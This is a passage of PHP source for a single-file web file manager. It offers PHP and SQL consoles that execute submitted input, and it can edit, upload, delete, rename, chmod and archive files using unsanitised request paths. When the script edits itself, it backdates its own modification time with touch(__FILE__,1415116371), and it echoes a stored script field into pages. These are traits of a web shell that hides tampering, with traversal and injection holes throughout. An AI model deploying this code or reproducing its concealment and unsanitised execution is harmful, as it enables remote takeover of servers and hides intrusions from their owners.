rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3
{display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if
(isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' :
$_POST['sql'];
	$res_lng = 'sql';
} elseif
(isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' :
$_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File
manager').' -
'.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td
class="row2"
colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the
folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').'
'.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').'
'.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').'
'.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').'
'.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP
version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP
ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').'
'.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').'
xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP
'.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL
'.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input
name="fm_config[sql_server]"
value="'.$fm_config['sql_server'].'"
type="text"></td><td class="row2
whole">SQL server</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_username]"
value="'.$fm_config['sql_username'].'"
type="text"></td><td class="row2
whole">SQL user</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_password]"
value="'.$fm_config['sql_password'].'"
type="text"></td><td class="row2
whole">SQL password</td></tr>
<tr><td class="row1"><input
name="fm_config[sql_db]"
value="'.$fm_config['sql_db'].'"
type="text"></td><td class="row2
whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').'
Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').'
phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').'
'.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after
editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').':
'.__('Restore file time after
editing'),'fm_restore_time').'
<tr><td class="row3"><a
href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset
settings').'</a></td><td
class="row3"><input type="submit"
value="'.__('Save').'"
name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th
colspan="2">'.__('Settings').' -
'.__('Authorization').'</th></tr>
<tr><td class="row1"><input
name="fm_login[authorize]" value="1"
'.($auth['authorize']?'checked':'').'
type="checkbox" id="auth"></td><td
class="row2 whole"><label
for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input
name="fm_login[login]"
value="'.$auth['login'].'"
type="text"></td><td class="row2
whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input
name="fm_login[password]"
value="'.$auth['password'].'"
type="text"></td><td class="row2
whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input
name="fm_login[cookie_name]"
value="'.$auth['cookie_name'].'"
type="text"></td><td class="row2
whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input
name="fm_login[days_authorization]"
value="'.$auth['days_authorization'].'"
type="text"></td><td class="row2
whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea
name="fm_login[script]" cols="35" rows="7"
class="textarea_input"
id="auth_script">'.$auth['script'].'</textarea></td><td
class="row2
whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td
class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?>
<?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database:
'.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo
'</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' .
$path;?>"><?=__('Back')?></a>
		<form action="" method="POST"
name="console">
		<textarea name="<?=$res_lng?>" cols="80"
rows="10" style="width:
90%"><?=$res?></textarea><br/>
		<input type="reset"
value="<?=__('Reset')?>">
		<input type="submit"
value="<?=__('Submit')?>"
name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ?
$_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl"
title="'.__('Template').'" onchange="if
(this.value!=-1)
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
= this.options[selectedIndex].value; else
document.forms[\'console\'].elements[\''.$res_lng.'\'].value
=\'\';" >'."\n";
	$select .= '<option value="-1">' .
__('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'"
'.((!empty($value)&&($value==$active))?'selected':'').'
>'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).'
'.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .=
__('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time']))
touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' .
$_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0'
cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' -
'.__('Edit').' -
'.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$editlink?>">
            <textarea name="newcontent"
id="newcontent" cols="45" rows="15"
style="width:99%"
spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
            <input type="submit" name="cancel"
value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'],
fm_convert_rights($_REQUEST['rights_val']),
@$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'],
true);
    $link = $url_inc . '&rights=' .
$_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$link?>">
           <?=__('Rights').' -
'.$_REQUEST['rights']?> <input type="text"
name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox"
name="recursively" value="1">
<?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif
(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.')
{
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path .
$_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' .
$_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' -
'.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a
href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post"
action="<?=$link?>">
            <?=__('Rename')?>: <input
type="text" name="newname"
value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save"
value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
   
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file']))
{
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] =
str_replace('%', '',
$_FILES['upload']['name']);
           
if(!move_uploaded_file($_FILES['upload']['tmp_name'],
$path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').':
'.$_FILES['upload']['name'];
			}
        }
    }
elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.')
{
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').'
'.$_REQUEST['delete'];
		}
	}
elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory']))
{
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').'
'.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'],
$_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').'
('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>&nbsp;
&nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
        if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').'
'.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
		.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
		else $msg .= __('Error occurred').': '.__('no
files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
			.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no
files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file =
str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
			.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no
files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post"
action="<?=$url_inc?>">
				<input type="hidden" name="path"
value="<?=$path?>" />
				<input type="text" name="dirname"
size="15">
				<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post"
action="<?=$url_inc?>">
				<input type="hidden" name="path"    
value="<?=$path?>" />
				<input type="text"   name="filename"
size="15">
				<input type="submit" name="mkfile"  
value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post"
action="<?=$url_inc?>"
style="display:inline">
				<input type="hidden" name="path"
value="<?=$path?>" />
				<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
				<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
				<input type="submit" name="search"
value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
			<input type="hidden" name="path"
value="<?=$path?>" />
			<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
			<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
			<input type="submit" name="test"
value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action=""
method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden"
value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit"
value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap">
<?=__('Filename')?> </th>
    <th style="white-space:nowrap">
<?=__('Size')?> </th>
    <th style="white-space:nowrap">
<?=__('Date')?> </th>
    <th style="white-space:nowrap">
<?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
        $link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').'
'. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').'
'.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path  .
'\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink = 
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
		$arlink =
in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').'
'. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path  .
'\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
 | <a
href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) &&
is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return
$this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
					rename($this->archive_name.'.tmp',
$this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp',
$this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to
').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not
readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.':
<br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is
incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
